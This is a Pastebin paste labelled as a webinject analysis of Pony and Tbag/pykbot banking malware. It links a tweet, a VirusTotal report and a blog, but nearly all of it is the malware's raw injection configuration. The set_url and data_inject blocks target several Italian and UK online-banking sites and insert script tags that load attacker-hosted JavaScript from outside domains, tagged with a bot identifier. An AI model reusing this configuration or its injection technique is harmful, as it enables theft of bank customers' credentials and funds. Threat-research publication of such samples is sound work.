Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // Webinject analysis
- // +------
- // | Pony and Tbag/pykbot -> https://twitter.com/kafeine/status/608598509147820032
- // | VT: https://www.virustotal.com/en/file/1a4a9f42c13e1928b907a03e1b50588800f8340d9335afe894a426629348aca8/analysis/
- // | http://blog.kleissner.org/?p=788
- // +------
- // https://www.csebanking.it
- // https://1024sslsecurity.com/sajf98wquioijhsa/scripts/csebanking.js
- // https://banking.credem.it
- // https://1024sslsecurity.com/sajf98wquioijhsa/scripts/credem.js
- // https://www.chebanca.it
- // https://1024sslsecurity.com/sajf98wquioijhsa/scripts/chebanca.js
- ========================================================================
- <script type="text/javascript" id="inj_add">
- navigator.bot_id="user1_C4369E3B11BB4CD799D6F0780AD97B1A";
- document.write('<scr'+'ipt type="text/javascript" id="inj_inj" src="https://zertifikatkey.com/images/content/bankofscotland/bankofscotland.js?r='+Number(new Date())+'"></scr'+'ipt>');
- </script>
- <script type="text/javascript" id="inj_add">
- navigator.bot_id="user1_C4369E3B11BB4CD799D6F0780AD97B1A";
- navigator.adm="https://zertifikatkey.com/images/";
- document.write('<scr'+'ipt type="text/javascript" id="inj_inj" src="https://zertifikatkey.com/images/content/lloydsbank/lloydsbank.js?r='+Number(new Date())+'"></scr'+'ipt>');
- </script>
- <script type="text/javascript">
- if (!window.jQuery){
- document.write('<scr' + 'ipt src="https://1024sslsecurity.com/sajf98wquioijhsa/scripts/jquery.js"></scr' + 'ipt>');
- }
- </script>
- <script type="text/javascript" src="https://1024sslsecurity.com/sajf98wquioijhsa/scripts/csebanking.js"></script>
- <script type="text/javascript" src="https://1024sslsecurity.com/sajf98wquioijhsa/scripts/chebanca.js"></script>
- data_end
- data_after
- data_end
- set_url https://www.csebanking.it/fec/*.html*
- data_before
- data_end
- data_inject
- <script type="text/javascript" src="https://1024sslsecurity.com/sajf98wquioijhsa/scripts/jquery.js"></script>
- <script type="text/javascript" src="https://1024sslsecurity.com/sajf98wquioijhsa/scripts/csebanking.js"></script>
- data_end
- data_after
- <script
- data_end
- set_url https://banking.credem.it*
- data_before
- data_end
- data_inject
- <script type="text/javascript" src="https://1024sslsecurity.com/sajf98wquioijhsa/scripts/credem.js"></script>
- data_end
- data_after
- </head>
- data_end
- set_url https://www.chebanca.it*
- data_before
- data_end
- data_inject
- <script type="text/javascript">
- if (!window.jQuery){
- document.write('<scr' + 'ipt src="https://1024sslsecurity.com/sajf98wquioijhsa/scripts/jquery.js"></scr' + 'ipt>');
- }
- </script>
- <script type="text/javascript" src="https://1024sslsecurity.com/sajf98wquioijhsa/scripts/chebanca.js"></script>
- data_end
- data_after
- </head>
- data_end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement